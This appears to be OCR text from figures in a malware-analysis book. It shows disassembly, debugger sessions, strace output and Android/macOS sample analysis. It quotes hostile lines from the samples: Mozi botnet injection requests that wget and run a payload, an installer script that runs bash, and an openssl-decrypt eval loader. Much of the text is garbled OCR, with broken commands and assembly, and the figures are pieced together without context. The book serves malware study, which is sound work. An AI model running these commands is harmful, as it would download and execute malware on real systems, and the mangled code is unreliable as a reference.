GET /cgi-bin/;cdS{IFS}/var/tmp;rmS{IFS}-rfS{IFS}"; S{IFS}wgetS{IFS}http:// %s: %d/Mozi.m;S${IFS}s...
GET /board.cgi?emd=cd+/tmp;rm+-rf+*;wget+ http://%s: %d/Mozi.a;chmod+777+Mozi.a;/tm...

DD D

; curl -0 http:
curl -0 http:
curl http:
curl http:
curl http:
http:
http:

1 -0 http:
; curl -0 http:

; curl -0 http:

>

>

if [ -f (p) ]; then
xmf="%(readlink ${p} 2> )=
xm=$(grep -i "xmr' cryptonight' hashrate"
elif [ -f ${p} ]1; then
xmf="$(readlink {p} )/$(cat ${p}
xm=$(grep -i "xmr\ cryptonight' hashrate" ${xmf)
fi
movzx esi, byte ptr [rax]
movzx ecx, [rsp+var_5]
movV eax, [rsp+var_4]
movsxd rdx, eax
mov rax, [rsp+var_18]
add rax, rdx
xor esi, ecx
mov edx, esi
mov [rax], dl
add [rsp+var_4], 1




@ https://onlinedisassembler.com/odaweb/

Live View

Set the platform

window update a
area. You can als
O, or other execu

Platform: i386

Arch

Base
Address

fr500
fr450
fr400
fr300
h8300
h8300h
h8300s
h8300hn
h8300sn
h8300sx
h8300sxn
h8500
hppa1.1
hppa2.0w
hppa2.0
hppa1.0
iI370:common
1370:360
i1370:370

0x0

Apply

»e - MA iourney

86 jd

1386

v




uﬂ Import Results Summary X
Froject File Name: sample-2.bin
Last Modified: Tue Mar 12 11:40:27 GHMT 2019
Readonly: false
FProgram Name: sanple-2.bin
Lancuage ID: GE000:BE: 3Z2: Coldfire (1.1)
Conpiler ID: default
Processor: &63000
Erdian: Big
iwddress Size: 3z
Mininum Address: g0000000
aximum Addreszs: _elffectionHeaders: :000001GE
# of Bytes: 88600
¥ Analysis Options x|
rhnalyzers - Description
Enabled | Analyzer Name

63000 Constant Reference Analyzer -
Agagressive Instruction Finder (Protobype)

Apply Data Archives

ASCIT Skrings ~iCpkions
Zall Convention Identification
Call-Fixup Installer
Condense Filler Bytes (Protokype)
Create Address Tables
Data Reference
Decompiler Parameter ID
Decarpiler Swikch Analysis
[ |

P el

IKIORKORKKROR

Select all Deselect Al Restore Defaults |

Analyze I Cancel |

uname({syshame="Linux", nodename="remnux", ...}) = @

getuid() = 1000

stat("/home/remnux/ . HOfATupSZiV", @x7ffd4c89e9f@) = -1 ENOENT (No such file or directory)
getuid() = 1000

stat("/home/remnux", {st_mode=S_IFDIRI@755, st_size=409, ...}) = 0

openat(AT_FDCWD, "/home/remnux/.HOfATupSZiV", O_RDWR|O_CREATI|O_TRUNC, @666) = 4
fstat(4, {st_mode=S_IFREG|0664, st_size=0, ...}) =0

write(4, "\225k;,\306;\2636\215\216\225\273\313.[\6", 16) = 16

close(4) =0




(gdb) pipe info files grep Entry
Entry point: 0x555555556610

(gdb) break *0x555555556610

Breakpoint 1 at

(gdb) c

Continuing.

Breakpoint 1,

(gdb) x/51 %$pc

=2 ; endbred
Xor ebp, ebp
mov ra, rdx
pop 51

moyv FdK,FSP

def main():
uc = Uc(UC_ARCH_X86, UC_MODE_32)

uc.mem_map(CODE, MAX_SIZE, UC_PROT_READ | UC_PROT_EXEC)
uc.mem_write(CODE, SHELLCODE)

.mem_map(STACK, MAX_SIZE, UC_PROT_READ | UC_PROT_WRITE)
.reg_write(UC_X86_REG_ESP, STACK + MAX_SIZE-4)

.hook_add(UC_HOOK_CODE, hook_code)
.hook_add(UC_HOOK_INSN, hook_syscall, None, 1, @, UC_X86_INS_SYSCALL)

.reg_write(UC_X86_REG_EAX, 0x123)
.emu_start(CODE, CODE + len(SHELLCODE))




ab

l

|

I

| aal?]

| acl[?]

| ad[?]

| ad |

| ae[?]

| af[?]

| aF

| agl?]

| ah[?]

| ai [a

| aol[7]

| a0

| ar[?]

| ap

| ax[?]

| as[?]

| at[?]

| av[?] [.

Examples:

f ts @ S*~text:0[3] ; section..
f ds @ S*~data:0[3] ; section..
.ad t t+ts @ d:ds

01 fol3 fcee fd
f713 fcée fd
0714 fc6e fd 5714 fc6e fd
14 fc6e fd 7eld4 fcee fd ) e alile .M.
rax 0x0000001c rbx 0xeEEEEEE0 Ox7ffdéefcPads8
rdx 8x7f9ee323dd50 ré8 @x7f9ee3lcf700 0x00000009
rle 9xeeP00000 ril ex7f9ee3lcf7ce 0x55899b776610
ri3 0x7ffdéefcoa3o ri4 0x00000000 0x00000000
rsi @x7f9%9ee325b730 rdi @x7f9ee325b196 Ox7ffdéefcoa3o
rbp 0x00000000 Ox00000202
orax Oxffffffffffffffff

(int64_t arg3);
; arg
b f3eflefa ; [12] -r-x section size 63876
31ed
189d1

1889e2
83e4f0O

8d0546T9

38dedcff8
188d3d075

15a23901




and entry® (aa)

references (aar)

Check for vtables
[TOFIX: aaft can't run in debugger mode.ions (aaft)
Type matching analysis for all functions (aaft)
Propagate noreturn information
Use -AA or aaaa to perform additional experimental analysi

il bot

B cnc

il tools

E] build.sh
E] prompt.txt

while (ol




aRouterBittorre DCB "router.bittorrent.com:63881",0

ALIGN 4
aRouterUtorrent DCB "router.utorrent.com:6881",0

ALIGN 4

4 aBttrackerDebia DCB "bttracker.debian.org:68381",0

XRE

\REF:

n

0




Functions .08 x  [[Foave. £ | (] Hex V... [ | [A] struct... (2 I ]

Function name ﬂ arg_5e=  oxse
i clr F
| _init_proc dec Iix':l. 2sp
sub_10080 10 [3sp+@x18earg_b0], 301
i 55 add ¥sp, arg_5C, 02
sub_10138 sethi  %hi(sub_16888), %ob
I sethi  %hi(ex10000), %03
|Lf | start sethi  hi(loc_21608), Tod
set sub_1688C, %08
' sub_L1EAC set _init_proc, %03
sub 11F0C set _term_proc, %ob
H L = now 291, 205
| sub_11FE4 call  sub_1FBCH
| (7] sub_12200 i1atrap
| (7] sub_12354 Hhow
illtr
| (] sub_t2ace Mitee
| sub_1243C il1trap
| (7] sub_12794
|[7] sub_120BC ("]
‘-I <Ilh 13357 z loc_1l1F.:
4 » set ~0x51A0, %91
save sp, 21, Usp
nov x15, %02
loc_18200:
[Jﬁl.Graph ove. O & X ] i Ate
nov 0, %03
nou %i3, %01
call  sub_11EAC
nov iz, %o0
sethi  %hi(lec_21C0R), 392
set ~0x513C, 391
add g1, Rfp, gt
set atet, %03 ¢ “GET"

£4.00% |{197,306) [(599,284) |000001A4 000101A4: start

Output window




[0x100001f0] ;[gb]
692
(int arg_8h, int arg_16h, int arg_36h, int arg_38h);
arg int arg_8h @ r1+0x8
arg int arg_16h @ r1+06x10
arg int arg_30h @ r1+0x30
arg int arg 38h @ r1+0x38

lis

addi

11 S
stwu ri,

mtlr
stw ro,

4 Select a debugger

—Available debuggers ————————

" Mo debugger

" Remote ARM Linux/android debugger
{* Remote GDE debugger

" Remote i0S debuager

" Trace replayer

Default debugaers (autoselected for new databases):
NOME

I~ Set as default debugger

QK Cancel |




File Edit Jump Search View Debugger Options  Windows Help
) mn|RemoteGDBdebugger "EI a DQJDI . FP‘ 03‘ Ej 2
_ C Z
Library function Bl Data Bl Regular function | Unexplored I Instruction  External symbol
| Debug View B8 stucres (] | [F] Enums 8.
i

(] DA view-PC O & x P Generalregsters 0O & X
start: RO 00000080 % MEMORY: ~
R1 488867F8 % HEHORY:.
-set back_chain, -0x10 R2 08800000 % HEMORY: =
v g — i f
cirrwi 1. 1, A R4 00888888 & HEHORY:
lis r13, 0x1863 RS 08088888 % HEMORY:
addi r13, r13, -8x5D868 i Bx10682A288 R6 08088088 % HEMORY:
11 re, o i R7 06888888 & HEHORY:
;E‘l"ﬂ :; EE L) RS 00808888 & HEHORY:
stu r@, 0x16+back_chain(r1) g9 SNRRARELA HEMORY-
Yo “h  Areny R10 06808688 & HEMORY: ~
100.00% (-53,77) (136,135) 000001F0 100001F0: start (Synchronized v/« | i ] »
i@HexView-l D l5‘ X [§|

1600661E0 80 61 66 14 38 21 668 16 7C 68 B3 A6 4E 88 066 20 [}...8’ - L' i
100001F0 pAuEP4 gy 54 21 60 36 3D AG 16 B3 39 AD A2 86 |).xT’E| LO8OB6B7F4 4
16006260 38 00 60 60 94 21 FF F8 7C 68 63 A6 90 61 66 60 8...0! 498007F8 0| |
16666216 80 8% 60 00 38 A% 60 B4 7C 68 1B 78 3C CO 16 60 (GEé..8- LOB8BOB7FC &4
10006226 38 C6 66 94 3C EB 18 81 38 E7 FE 5C 3C 60 18 88 8).0<a 40800860 4

000001F0 100001F0: start ~ UNKM 408C (Syr ~
< | 1 | 3 <« [ »

. =] Output window 7 - o8& X
'FFFFFFFF: process has started (pid=4294967294) -
Debugger: attached to process <GDB remote process> (pid=4294967294) -

[ cos |



File Edit View Search Terminal Help
[0x004001a0 [xAdvc] 75 gdb://127.0.0.1:1234]> pd $r @ fcn.pc

/

|

| 0O0ee mov 0x00,ri4

| 665 @ris+,r5

| 0 a« f366 mov ri5,ré

| 0x004 af 662fF ré,@-ris

| ¥: 462f r4,@-ris

| 07d0 @(ex1C,PC),ro
] 062f ro,@-ris

| 04d4 @(0x10,PC),r4
| 04d7 @(0x10,PC),r7
| 06d1 @(ex18,PC),r1
| 0b41 jsr @ri

amples$ gemu-sh4 -g 1234 ./a490bb1c9a@@5bcf8c

1d [ %sp + 0x58 ], %o1
add %sp, 0x5c, %02
sethi %hi(0x16800), %00
sethi %hi(0x10000), %03
sethi %hi(0x21c00), %04
or %00, 0x3bc, %00

or %03, 0x94, %o3

or %04, 0x124, %o4

mov %gl, %o5

call ©0x1fbc4

nop

L?? PC: 0x101a8

Px000101a8 in ?2? ()
(adb)

S gemu-sparc -g 1234 ./83bb43a36c1



File Edit View Search Terminal Help

-a arch force asm.arch (x86, ppc, arm, mips, bf, java,




Chapter 12: Introduction to macOS and iOS Threats

localuser@Mys-Mac /usr % echo "test" > test.bin

zsh: operation not permitted: test.bin
localuser@Mys-Mac /usr % sudo echo "test" > test.bin
zsh: operation not permitted: test.bin
localuser@Mys—-Mac /usr %

-rw-r--r--@ 1 155817128 Jun 26 11:34 sample.dmg

com.apple.macl 72
com.apple.metadata: kMDItemWhereFroms 129
com.apple.quarantine 57

No App Sandbox

Executed application

App Sandbox

Sandbox

Executed application




Fat Header

Mach-O Header (1)

Load Commands (1)

Segments

(1)—

Sections

Mach-O Header (2)

Load Commands (2)

Segments

(2)—

Sections




% Load a new file x|

Load file C:\sample-macho_universal as

‘Fat Mach-O file, 1, ARMy7
Fat Mach-O file, 2. ARM&4 [macho.ldw]
Binary file

Processor type

IMetaPC {(disassemble all opcodes) [metapc] 3 Set I

Analysis

Loading segment IUxDUDOOUDO Kernel options _1_I Kernel options gl
v Enabled

Loading offset leUUUOUUUO v Indicator enabled Processor options |
—Options

o Loading options I Load resources

W 'Fill segment aaps ¥ Rename DLL entries

v Create seaments | Manual load

T create FLAT aroup I~ create imports segment

I | Load as code segment

QK Cancel Help

plist version="1.0">

dict>
<key>BuildMachineOSBuild</key>
<string>15A284</string>
<key>CFBundleDevelopmentRegion</key>

<string>en</string>

<key>CFBundleDisplayName</key>

<string>BBEBEBE</string>

<key>CFBundleExecutable</key>
aisiweb




-00Ve+4 ofJos
)

UISupporte
»ITTCFTeamI

localuser@PMys—-Mac samples % xar -tf 1decb4070db4dfe5d68ba502
updater.pkg

updater.pkg/Bom

updater.pkg/Payload

updater.pkg/PackageInfo

Distribution

File Edit View Favorites Tools Help

p = 7 wp = ¥ 1

Add Extract Test Copy Move Delete Info

¥ i E] C:\samples\1decb4070db4dfe5d68ba502cf3ab7de96ab9eat

Name Size Packed Size

| JiPayload~ 88 064 37077




MOU R4, RO

MOU RO, #({selRef_setHTTPHMethod_ - BxBA4BC)
MOUY R2, #:lower16:(cfstr_Post - B8xBuC2) ; "POST"”
ADD R8, PC ; selRef_setHTTPMethod_

MOUT . W R2, #:upperi1b6:{(cfstr_Post - BxB4C2) ; "POST"
ADD R2, PC ; "POST"

LDR R1, [RB] ; "“setHTTPHMethod:"

MOU RO, R4

BLX _objc_msgSend

MOV RO, #{classRef NSString - 0xBu4D6)

LDR R1, [SP,H#8x4C+var_44]

ADD RO, PC ; classRef_NSString

LDR.W R18, [SP,#6x4C+var_38]

LDR R6, [RO] ; _OBJC_CLASS_$ NSString

MOU R@, RS

BLX _objc_msgSend

MOU R3, RSO

HOU RO, #{selRef_stringWithFormat_ - 0xB4F2)
MOUW R2, #:1lower16:{cfstr_Lu - OxB4F8) ; “%lu"”
ADD RO, PC ; selRef_stringWithFormat_

MOUT . W R2, #:upperib6:{cfstr_Lu - OxB4F8) ; "%lu"
ADD R2, PC ; "%lu”

LDR R1, [RO] ; “stringWithFormat:"

MOU RO, Ré6

BLX _objc_msgSend

oVt Rey”S-ugmer16: (cFotn Dovmioaddevel - 9CASS) ; “downloadDevelopmentCerts”

MOV R2, #(cfstr_HttpsDeveloper_@ - Ox9CA82) ; "https://developerservices2.apple.com/services/¥%@/ios/%@.action>clientId=%@"
MoV R3, #(cfstr_Qh65b2 - @x9CA84) ; "QHE5B2"

:g :;: §§ ::iiggf‘i?::;elcperservicesz.apple.(crr/se"vi(es,/%@/ics/%@.ac(ion?(lientld:%@"

e Ré, PC | -downloadDevelopmentCert”

ora R, [5p.smaervar 24}

oix.u -t

“dirname $0°

-q $basepath

load -wF

load -wF




mov FCX, raxX

mov [rbp+var_38], rcx

mov rdi, cs:classRef_ NSString

Xor eax, eax

mov rsi, cs:selRef_stringWithFormat_
lea rdx, cfstr_SystemLibraryL ; "/System/Library/LaunchDaemons/%@"
call r12

mov rdi, rax

call _objc_retainAutoreleasedReturnVUalue
mov r13, rax

mov rdi, ri14

call _objc_retainAutorelease

rersior 0 oding="UTF-8
DOCTYPE plist //Apple//DTD PLIST 1.0//EN" "http://
plis i

-plist</string>

rnings;warnings.filterwarning

C >
/plist>

mov rdi, cs:classRef_NSString ; id

lea rdx, cfstr_AddTrustedCert ;

xor eax, eax

mov rsi, cs:selRef_stringWithFormat_ ; SEL

mov rcx, rl4

mov r8, rbx

call rl5 ; _objc_msgSend

mov rdi, cs:classRef_SBFileSystem ; id

mov rsi, cs:selRef_runCmd_withParams_withTimeout_withUser_andContainer_ ; SEL
lea rbx, [rbp+var_38]

mov [rsp+40h+var_40], rbx

lea rdx, cfstr_UsrBinSecurity ; isr/bin/securit
lea r8, cfstr_o 2

lea r9, stru_10@052FE@

mov rcx, rax

call rlS ; _objc_msgSend




rax, aReadmeForDecry
[rsp+43@h+var_430], rax
rg, ass s | HS /7
rbx, [rbp+__filename]

esi, 400h ;3 size ¢
edx, @ ¥ SNk
ecx, 408h ;3 size t
eax, eax

rdi, rbx s char *
___snprintf_chk

rsi, aAb ; "ab+'
rdi, rbx ; _ filename
_fopen

rbx, rax

rbx, rbx

short loc_100002D29

L 4 L 4

name": "Bitdefender”,

shouldSearch

name : Intego ,

shouldSearch

name': "Kaspersky",
shouldSearch

name : Norton
shouldSearch




mov ck. 3

xor cs:byte 100012700, cl
xor cs:byte 100012701, al
xor cs:byte_ 100012702, 2Fh
xor cs:byte 100012703, 55h
mov bl, 5Fh il

xor cs:byte 100012704, bl
mov al, 65h ; 'e'’

xor cs:byte 100012705, al
movV al, 32h ; "2°

xor cs:byte 100012585, al
xor cs:byte_100012706, al
movV al, 9Bh

xor cs:byte_1000125CD, al

osascript -e "do shell script '\ “networksetup -s¢
cd ~

curl -o com.apple.rig.plist http:

<?xml version="1.0" encoding="UTF-8" 2>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.
<plist version="1.0">
<dict>
<key>Filter</key>
<dict>
<keyrExecutables</key>
<array>
<string>itunesstored</string>
</array>
</dict>
</dict>
</plist>

<pkg-ref id="updater.pkg" version="1.8" onConclusion="none" installKBytes="85
<installation-check script="installation_check()"/>
<script><![CDATAL

function installation_check () {
function bash(command) {
system.run('/bin/bash', '-c', command)
}

function writeToFile(line, file)

{

bash( printf "%b\n" '${1line}' >> ${file}")

}




name “"$BASH_SOURCE")"

(
fileDir="$(dirname "$(pwd -P)")"
val "$(openssl enc -base64 -d -aes-256-cbc -nosalt -pass pass:16530249839 <"¢fileDir"

Name Size Packed...
22838 24576
Firefox.app 194 040.. 194 39..

[ ].DS_Store 12292 16384

[ ] .Volumelcon.icns 1527772 1527 ..

(1o 13 409

.

sym.imp.getuid

[

r4, [
T, [

W sp, [sp + ]
rl, [ + ]
sym.imp._Unwind_SjLj_Register

’




File Edit Jump Search View Debugger

Options  Windows Help

| > O O e 30Da|@EITH S |DEY &

i I | = |
Library function Il Regular Function I Instruction Data  Unexplored External symbol
Debug View 8 I Structures & I Enums %) |
[ DA View-RIP O& x Hﬁ General registers O & X ‘
————— e -
RAX 0000000100001ERR *H{|ID @ =
public start ‘I I 4 VIP @ &
SEREE Broc et |53 Modues o& x|
moy rbp, rsp Path =
and rsp, OFFFFFFFFFFFFFFFOh JE i
mov rdi, [rbp+3] ; argc & Just/liojdyid e
lea rsi, [rbp+1@h] ; argv _‘T_I L2
mov edx, edi
add edx, 1 B
<hl edx, 3 [@Threads O & X ‘
add rdx, "Zi 3 -EnVp. Decimal lHex lState I
mov rcx, rdx
jmp short loc_108@801E25 AL IRy
v
[l e 5= b
100.00% |{-106,151) |{455,11) |00001EL3 [0000000L00001EL3: stai|{Synchronized with RII
(G Hex view-1 Of x|[Qs.08 x|
b006000106601E00 L=z 48 89 ES5 48 83 E4 F@ 48 8B 7D @8 48 8D 75 }-H.u
0000000100001E16 10 89 FA 83 C2 01 C1 E2 03 43 01 F2 48 89 D1 EB .........H......
2000000100001E20 04 48 83 (1 08 48 83 39 00 75 F6 48 83 (1 @8 E8 cesas
000000 100001E30 82 87 02 00 89 (7 EB 01 F8 ©2 @0 F4 55 48 89 E5 ....ceeveacnn i

00001E0O [0000000100001E00: start |

i (S

»

| I=] output window

localuser@Mys-Mac ~ % sudo fs_usage 1s

:39:
:39:
:39:
:39:
139:
:39:
:39:
$39:
:39:

09
a9
09
a9
09
0%
a9
09
a9

fsgetpath
fsgetpath
statés
staté4
staté4
staté4
statés
statés
statés

/bin/ls
Jusr/lib/dyld

/System/Library/dyld/dyld_shared_cache_x86_64h

/usr/lib/system/libsystem_blocks.dylib
/usr/lib/system/libxpc.dylib
/usr/lib/system/libsystem_trace.dylib
/usr/lib/system/libcorecrypto.dylib
/usr/lib/system/libsystem_malloc.dylib
/usr/lib/system/libdispatch.dylib

Impactor Bridge | Device Fastboot USEB Xcode

,;’s iPhone [lmm

.000051
.0eee12
.000015
.0eeee7
.000003
.0eeee2
.000002
.0080002
.000002

Reboat
Bootloader
Run Program...
Open Shell...

‘\Watch Log...
Install Package...
Test Backup

08 x|



Chapter 13: Analyzing Android Malware Samples
& =1 009:34

< Q

My Files ) Internal storage » Android

data

Mar 16 12:22 65 items
media

Dec 27,2018 23:23 1 item
obb

Mar 16 12:22 5items



onsole:/

bugreports
ache

8 pud

Is

data init

default.prop init

dev init
et init

environ.re
e
SUperuser.rc

usb.configfs.r

lib
nnt

odn
oen

plat_secapp_contexts

plat_service_contexts

proc
product

vendor _huwservice_context
vendor_property_contexts
vendor_seapp_contexts

> vendor_service_contexts

harge fstab.android_x86_64 init.ush.rc plat_file_contexts bin ueventd . re undservice_contexts
onfig init init.zygote3Z.rc plat_huservice_contexts sdcard vendor
i init.android_x86_64.rc init.zygote64 32.rc plat_property_contexts sepolicy vendor_file_contexts

onsole:s 8

1 E—]k?xml version="1.0" encoding="utf-8" standalone="ne"?><manifest xmlns:android="http://schemas.android.com/apk/res/android" package="test.app"
2 <uses-permission android:name="android.permission.WRITE EXTERHAL STORAGE"/>

<uses-permission android:name=" android.perm.ission.RECEIVE_BOOT_CO}E’LETED"/)

4 <uses-permission anclrold:name—"android.pennission.WnKE_LOCK"/>

<uses-permission android:name="android.permission.READ PHONE STATE"/>

<uses-permission android:nawe="android.permission.ACCESS NETWORK STATE"/>

<uses-permission android:name="android.permission.INTERNET"/>

<uses-perwmission android:nawe="android.permission.RECEIVE_SMS"/>

=} <uses-permission anclrold:name="android.permission.SEND_SHS"/>

10 <uses-permission android:name="android.permission.PROCESS OUTGOING CALLS"/>

11 <uses-permission android:nawe="android.permission.GET TASKS"/>

12 <uses-permission andrc\ld:name="android.permission.CALL_PHmI‘E"/>

13 <uses-permission andrcud:name="android.permission.CALL_PRIVILEGED"/>

14 <uses-permission android:name="android.permission.INSTALL PACKAGES"/>

15 <application android:allowBackup="true" android:icon="@drawableficon" android:label="@string/application name" android:nswe="MainApp" and
16 <activity android:label="@string/activity name" android:name="test.app.MainActivity">

17 <intent-filter>

<action android:nawe="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER" />
o </intent-filter>

o </activity>
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Window 1w ® X

acct
android.hardware.drm@1.0-service.widevine.rc
audit_filter_table
bugreports

cache

charger

config

d

data

default.prop

dev

efs

etc

factory

fstab.goldfish
fstab.ranchu
fstab.samsungexynos8895
init

init.baseband.rc
init.carrier.rc
init.container.rc
init.environ.rc
init.goldfish.rc
init.gps.rc
init.ranchu.rc

init.rc

init.rilmptcp.rc
init.samsungexynos8895.rc
init.samsungexynos8895.usb.rc
init.usb.configfs.rc
init.usb.rc

init.wifi.rc
init.zygote32.rc
init.zygote64_32.rc

lib

imnt
nonplat_file_contexts
nonplat_hwservice_contexts
nonplat_property_contexts
nonplat_seapp_contexts
nonplat_service_contexts
loem

lomr

plat_file_contexts
plat_hwservice_contexts
plat_property_contexts
plat_seapp_contexts
plat_service_contexts
postrecovery.do

preload

proc

publiccert.pem




zip

——— | Dex File

Source

install

Dex File

AIAIDd

quickened dex



.dex files,

executes application

Executes method

s it JT Enough
compiled? space?

Garbage collect

No Jit compile
*Implicit decisions
based on ArtMethod
code pointer (if
method is compiled,
runtime does not use

explicit query)
**Stored in the pit Async Jit ngjg éi:lhe
code cache, contains i

inline caches



©00130:
©000132:

000136
000138
©0013a
©0013c
00013e

const/4 vi1, 1
if-ne vO, vl, +0x5
const/4 v2, 2

move vO, v2

goto +6x3

const/4 v2,

move vO, v2
return-void

|[0] header_item

3500 |

magic: dex\n@35\ub0oo
checksum
signature

file size: 652
header_size: 112
endian_tag: 0x12345678 (Little Endian)
link size: ©

link offset: 0x0
map_off: @xlec
string ids _size: 12
string_ids_off: 0x70
type _ids size: 7
type_ids_off: 0Oxa@
proto_ids size: 2
proto_ids _off: ©@xbc
field ids size:
field _ids_off: Oxd4
method _ids_size: 2
method_ids_off: Oxdc
class_defs size: 1
class_defs_off: Oxec
data size:

data off: 0x10c




method public onCreate 1V
Jdocals 15

const/ 16 wld, O0x4b
const/1le vy, 0xX35
const/4 w10, 0Ox0
const/4 w3, 0xl
const/ 16 w12, 0x4b93
const/1e wo, O0xXzZS
iput w1, pd, Leomfmsaievdesrteodnyi/gtd3IEG; —» iVOGEYNtgPi:I
const/16 w1, Ox2cE53
iget w2, pl, Leomfmsaievdesrteodnyi/gtd3IEG; —» iVOGEYNtgPi:I
iget w5, pl, Loomfmsaieydesrteodnyi/gtd3EG; —»>VERJJA:T
Apktool v2.4.8 - a tool for reengineering Android apk files
with smali v2.2.6 and baksmali v2.2.6
Copyright 2014 Ryszard Wisniewski <brut.alll@gmail.com>
Updated by Connor Tumbleson <connor.tumbles: mail.com>
apktool

ance,——ad”nnLPd pPintﬁ ad”anCP in?ﬂrmatiﬂn

4 “ad
\tHIEb +r ework files into <dir:>.
Tag frameworks using <tag>.

usage: apktnnl d[eLnde] [options] <file_apk>
-f,--force Force delete destination directory.
-0, --output <dir> The name of folder that gets written. Default is apk.out
-p, --frame-path <dir> Uses fran 'k files located in <dir>.
-r,--no-res

-5,--NO-5rc
-t,--frame-tag <tag> Uses fran : ed by <tag>.
usage: apktool b[uild] [options] ﬁapp_path?
-f,--force-all Skip changes detection and build all files.
-0, --output <dir: The name of apk that gets written. De+au1t is dist/name.apk
-p,--frame-path <dir> Uses framework files located in




&y jadx-gui - sample.apk 3 o =]

File View Navgation Tools Help

= = e s [ S [ = = (= |

# msaieyde. rteodnyi 2 = (12 + 1) & 255;

Z String str2 = "urnmsrgriae net";
= él([.;(lqt.bwfuxhlxvhk L= (1 + VKKjJA[L2]) & 255;
i this.KZpBgWdv = "eosws";
#-(2> Resources VKkjJA(VKKjIA, 12, i);
4 APK signature int 14 = (VKKjJA[12] + VKKjIA[i]) & 255;
A9 Certificate this.exjWIaksh = true;

bArr2[13] = (byte) (VKkjJA[14] " bArr[i3]);
this.exjWIaksh = false;
this.KZpBgWdv = “"ecrporu jlc";

1

r
return bArr2;

}
}
KI

l?_j sample.apk (C] com.msaieyde.rteodnyi bHkGrSTqTsy 4 <«
&2 Source code Al
f## android. support k. : 2l
= EB this.exjwIaksh = false;
: . : MgQrwwbgNa( false, "icnrs");
= # Lgwslsmi. lgwslsmi St
@G Prmuxsyok int i2 = 0;
=-© wojhiBfqdy for (int i3 = 0; i3 < length; i3++) {
® YeFRWRKYy if (!true) {
® bHKGrsTqTsy }
@@ fzXBIMPKhO]N this.WugzdzmYV = false;

- JADX memory usage: 0.12 GB of 4.00 GB

List of devices attached

a
emulator-5554 device

$ ./adb shell screencap /sdcard/Pictures/abc.png

$ ./adb shell 1ls /sdcard/Pictures
abc.png




$ ./emulator -avd "avd 31 noplay"

= 1.2.10.0 (build id 8420304) (CL:N/A)
Android Emulator - avd_31_noplay:5556 ature string, emulator might not function correctly, please try updating t

6:54
android sdk/emulator/qemu/linux-x86 64/1ib64/vulkan/libvulkan.so: fa|

ﬂﬁd),lﬂlj'ﬁﬁ 1 id sdk/emulator/1ib64/vulkan/libvulkan.so
an implementation, testing use only.
vsync to 60 hz
1T1x53bHhLjsAyeuG4MdI7EUnbUehnUF3vU2f1vTFoZhU5/nCF5nCeCIxziaYtXhz2mQ
NH8/Di4krwjtpzlCmekAXzecpcdbuNkoGHHUK3P9YqORBIXI /M7pSoqWe/wgmrSTLlcpy,
XOPF6+ata9qd21/0s7ZYDuvc80TyyINICQW3OXEELShi2mswb71kfatqP6b6xiHIS]0OF
fszYv6qX3rFyCwIwtG09sJaN81Z0X9ke4B84gUTzXq+I68V8Y1fxtozyA2xJchjCusnY|
kgF21Wksd2dipd6ZDiVhR2jv1tA2E]IGaCiUFPZscsqQqjGxpoZ/WuYwNnCM34ZakuN1k
c2j Z8R5NuVRqIB4ZRSNMSCdb5+62Im/IdBBoAXgPFOSRMZXzKZz1aQSg3um0f68igQir3
3RX9zwdPrvSs0Z74DfMwsn9LngEAAQA= remnux@unknown]

18556, security: Local
vd/running/pid _4568.1ini

bgcat buffer size to 2M.
for Google App.

xG6 Live & Installat
Live CD — Run Android-x86 without installation
DRENDEBIG S mode
allaition — Install Andeoid—x=B86 to, harddisk

need opLIons. ..

Bress [Habl tof edit opt

android-x86.org




-remnux@remnux:~/android_sdk/platform-tools$ ./adb Sh81FSE7CLOSE
emulator64 x86_64 arm64:/ # cd /data/local/tmp FSE CLOSE
emulator64 x86 64 arm64:/data/local/tmp # cat > test ggg cLOSE
fESt FSE_CLOSE
130 |emulator64 x86 64 arm64:/data/local/tmp # D

fd(46)
appmon-0.5
fd(2)
fd(1)

test

test

test

NT
FSE CLOSE

cCTOoOOO OO

l|emulator64 x86 64 arm64:/data/local/tmp # strace ./sample

execve("./sample”, ["./sample"], 0x7ffee90a0440 /* 24 vars */)

arch prctl(ARCH SET FS, ox7ffeae814980) = 0

getpid() = 12939

mmap(NULL, 12288, PROT_READ|PROT WRITE, MAP_ PRIVATE|MAP_ANONYMOUS, - = @x7598eec5c000
set _tid address(0x7598eeda5508) = 12939

faccessat (AT_FDCWD, "/dev/urandom”, R OK) = @
getrandom("\xd1\x0d\x31\xed\xa5\x4e\xb7\xe3\x83\x63\x6e\x28\x41\x76\xbc\xTe\xb9\x92\x91\xdT\x57\xd3\
Xx87\x40\x7T\x34\x36\x2c\x2d\x91\xcb\x61"..., 40, GRND NONBLOCK) = 40

mmap (NULL, 1104, PROT_READ|PROT_WRITE, MAP_ PRIVATE|MAP_ANONYMOUS, -1, @) = 0x7598eec5b00@
prctl(PR SET VMA, PR SET VMA ANON NAME, 0x7598eec5b000, 1104, "arc4random data") = ©

sched getscheduler(0) = @ (SCHED OTHER)

mmap (NULL, 36864, PROT READ|PROT WRITE, MAP PRIVATE|MAP ANONYMOUS, -1, 0) = 0x7598eec52000




